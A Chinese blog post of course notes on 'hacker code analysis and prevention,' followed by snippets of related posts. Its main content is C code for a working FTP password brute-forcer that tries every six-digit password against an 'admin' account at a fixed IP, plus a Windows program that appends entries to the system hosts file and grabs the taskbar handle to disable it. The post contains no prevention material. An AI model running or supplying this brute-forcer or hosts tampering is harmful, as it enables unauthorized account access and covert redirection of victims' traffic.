传智播客c/c++公开课学习笔记--黑客代码分析与预防

黑客代码分析与预防 笔记

【课程简介】

C/C++语言是除了汇编之外,最接近底层的计算机语言,目前windows,linux,iOS,Android等主流操作系统都是用C/C++编写的,所以很多病毒、木马也都是用C/C++实现的。课程的目的就是通过C语言揭秘木马和各种远程控制软件的实现原理以及如何防护。

【课程知识点】

1、木马入侵系统的方式;

2、木马入侵到宿主目标后的关键行为分析;

3、可信任端口以及端口扫描技术;

4、远程控制的实现代码实现;

5、恶意代码中使用TCP、UDP协议与防火墙穿越技术;

6、360网络安全防护的实现原理。

#include <stdio.h>
#include <string.h>
#define CONTENT "open %s\nuser\n%s\n%s\nbye\n"
int write_file(const char *ip, const char *user, const char *passwd)
{
	FILE *p = fopen("a.txt", "w");
	if (p)
	{
		char buf[1024] = { 0 };
		sprintf(buf, CONTENT, ip, user, passwd);
		fputs(buf, p);
		fclose(p);
		return 0;//如果成功,返回0
	}
	return -1;//失败,-1
}
int main()
{
	int i;
	for (i = 0; i < 1000000; i++)//假设密码全部由数字组成
	{
		char pass[100] = { 0 };
		sprintf(pass, "%06d", i);//格式化为字符串
		if (write_file("192.168.101.138", "admin", pass) == 0)
		{
			FILE *p = _popen("ftp -n -s:a.txt", "r");
			while (!feof(p))
			{
				char buf[1024] = { 0 };
				fgets(buf, sizeof(buf), p);
				if (strncmp(buf, "230", 3) == 0)//根据返回值进行判断 230 代表成功,
				{
					printf("pass:%s\n", pass);
					return 0;
				}
			}
			_pclose(p);
		}
	}
	return 0;
}

功能函数:

// lockmask.cpp : 定义应用程序的入口点。
//

#include "stdafx.h"
#include "lockmask.h"

// 功能函数
/*
修改应用程序图标
vs:替换工程名.ico文件
QT:a.找到一张图片.ico,名字改为myapp.ico
b.创建文本文档myapp.rc。 内部添加 IDI_ICON1  ICON DISCARDABLE "myapp.ico"
c. 在myapp.pro文件最后加上RC_FILE=myapp.rc, 重新生成之后,就修改成功了;
*/

/*
vs2013辩词额不需要依赖库,同时兼容xp的项目
项目--属性--配置属性--常规--平台工具集--windwos xp
项目--属性--配置属性--c/c++ --代码生成--运行库--多线程(/MT).
*/

#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <Windows.h>
#include <ShellAPI.h>

#pragma warning(disable:4996)

void getWinVersion()//得到win版本
{
	OSVERSIONINFO a;
	a.dwOSVersionInfoSize = sizeof(a);
	GetVersionEx(&a);
}

int setHosts(const char *IP, const char *domain)//修改hosts文件
{
	char s[100] = { 0 };
	GetSystemDirectoryA(s, sizeof(s));//得到windows系统目录
	char path[100] = { 0 };
	sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
	char content[1024] = { 0 };
	sprintf(content, "%s %s", IP, domain);
	FILE *p = fopen(path, "a");//打开hosts文件
	if (p)
	{
		fputs(content, p);
		fclose(p);
		return 0;
	}
	return -1;
}

HWND getTask()//得到任务栏句柄
{
	typedef HWND(WINAPI *PROCGETTASKMANWND)(void);//什么一个HWND func();类型的函数指针
	PROCGETTASKMANWND GetTaskmanWindow;//定义函数指针变量
	HMODULE hUser32 = GetModuleHandleA("user32");//引用user32.dll库
	if (!hUser32)
		return NULL;
	GetTaskmanWindow = (PROCGETTASKMANWND)GetProcAddress(hUser32, "GetTaskmanWindow");
	if (!GetTaskmanWindow)
		return NULL;
	HWND h = GetTaskmanWindow();
	return GetParent(GetParent(h));
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
	HWND h = getTask();
	//EnableWindow(h, false);//将任务栏设置为不可用
	EnableWindow(h, true);//将任务栏设置为可用
	return 0;
}
时间: 2024-10-05 20:24:17

传智播客c/c++公开课学习笔记--黑客代码分析与预防的相关文章

传智播客c/c++公开课学习笔记--Linux网络流媒体服务器的核心代码揭秘

Xinetd 从守护进程的概念可以看出,对于系统所要通过的每一种服务,都必须运行一个监听某个端口连接所发生的守护进程, 这通常意味着资源浪费. 为了解决这个问题,Linux引进了"网络守护进程服务程序"的概念.xinted(extended InterNET daemon) xinetd同时监听多个指定的端口,接受用户请求时,根据请求端口,启动不同的网络服务进程来处理这些用户请求. 可以把xinetd看做一个管理启动服务的管理服务器,它决定把一个客户请求交给哪个程序处理,然后启动相应的

传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控

一.SMTP协议 SMTP(SimpleMail Transfer Protocol)即简单邮件传输协议. SMTP协议属于TCP/IP协议簇,通过SMTP协议所指定的server,就能够把E-mail寄到收信人的server上. SMTPserver则是遵循SMTP协议的发送邮件server,用来发送或中转发出的电子邮件. SMTP使用TCP提供的可靠的传输数据服务把邮件消息从发信人的邮件server传送到收信人的邮件server. 跟大多数应用层协议一样,SMTP也存在两个 端:在发信人的邮

幸福村站——成都传智播客程序员写出你的烧烤代码

又是一个阳光明媚,风和日丽之天,如果作为程序员的你还在键盘上苦苦的想着下一串代码该怎么写的话,那你就弱爆了.俗语说得好,学习要劳逸结合,写代码更是需要清晰的思维,在传智播客Java基础班开班一个月后,班主任决定带着这群"猿猴们"去传说中的"幸福村"放松放松,我们也跟着一起去感受程序员们的烧烤代码的幸福吧! 带着好奇的心理走进了"幸福梅林站",一个又一个的农家乐园开始浮现在我们眼前,那里朴素的民风和美丽的风景让我们暂时忘却了学习上的烦恼和城市里的喧

幸福村站——成都传智播客程序猿写出你的烧烤代码

又是一个阳光明媚,风和日丽之天,假设作为程序猿的你还在键盘上苦苦的想着下一串代码该怎么写的话,那你就弱爆了.俗语说得好,学习要劳逸结合,写代码更是须要清晰的思维,在传智播客Java基础班开班一个月后,班主任决定带着这群"猿猴们"去传说中的"幸福村"放松放松,我们也跟着一起去感受程序猿们的烧烤代码的幸福吧! 带着好奇的心理走进了"幸福梅林站",一个又一个的农家乐园開始浮如今我们眼前,那里朴素的民风和漂亮的风景让我们临时忘却了学习上的烦恼和城市里的喧

【传智播客郑州校区】数据库MYSQL笔记详解

第1章 数据库1.1 数据库概述l 什么是数据库数据库就是存储数据的仓库,其本质是一个文件系统,数据按照特定的格式将数据存储起来,用户可以对数据库中的数据进行增加,修改,删除及查询操作.l 什么是数据库管理系统数据库管理系统(DataBase Management System,DBMS):指一种操作和管理数据库的大型软件,用于建立.使用和维护数据库,对数据库进行统一管理和控制,以保证数据库的安全性和完整性.用户通过数据库管理系统访问数据库中表内的数据.l 常见的数据库管理系统MYSQL :开源

传智播客JDBC视频教程

视频介绍: 一些视频教程通过浅显案例来让刚開始学习的人感到轻松,可是课程中编写的代码不能直接应用于项目中:而本套视频教程正好相反,视频解说者李勇老师以技术见长.性格朴实无华.不善于幽默搞笑.李勇老师编写的代码很专业和有用,整个内容都是採用实际项目中应用的高水准代码.站在较高层次上进行深入解说,所以,初学人员学习本视频教程在開始时会比較吃力.可能必须耐心学习多遍才干渐入佳境.但你一旦掌握了当中的内容.特别是掌握了李勇老师所编写的那些代码,你的编码能力将会相当出众! 对新手来说,这肯定不是最好的视频

传智播客成都校区php学科收费标准

继传智播客成都校区php第一期班圆满开班,说明php的火爆一点儿也不亚于java!经传智播客商讨决定,传智播客成都校区php学科收费标准如下: 采用以下任何一种方式都可以享受优惠价: 一.自带笔记本的同学直接享受优惠价,如果是通过自带笔记本享受的优惠价,公司不再为其提供电脑,如果以后需要公司提供电脑,需全额退还优惠差价. 二.在博客上写够15篇与传智播客有关的学习生活日记,并且通过了我们的审核也能享受优惠价. 注:您可以在入学前写学习日记,也可以在入学后写学习日记(生活日记需与传智播客有关).

揭秘传智播客班级毕业薪资超7k的内幕系列 之三 ----国企慕名而来,将未毕业学员“抢走”,传智播客又一次定义“被就业”

前面文章提及Java六期学员张同学提前就业某国企,入职薪资6.3k,各种福利齐全.作为班级首位就业同学,他的就业也成为了班级其它同学就业的风向标.但事实上张同学的就业属于"被就业",传智播客在这个故事里赋予其新的含义. 要理解"被就业"在这里的含义.我们须要先了解张同学的就业故事. 5月中旬某天,传智播客咨询专员给就业老师发了个企业求合作的联系信息.就业老师遂联系该企业,了解到该企业着急招聘Java开发project师,然而当时最快毕业的班级的毕业时间也得在2个月后

传智播客

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="zh-cn"> <head> <met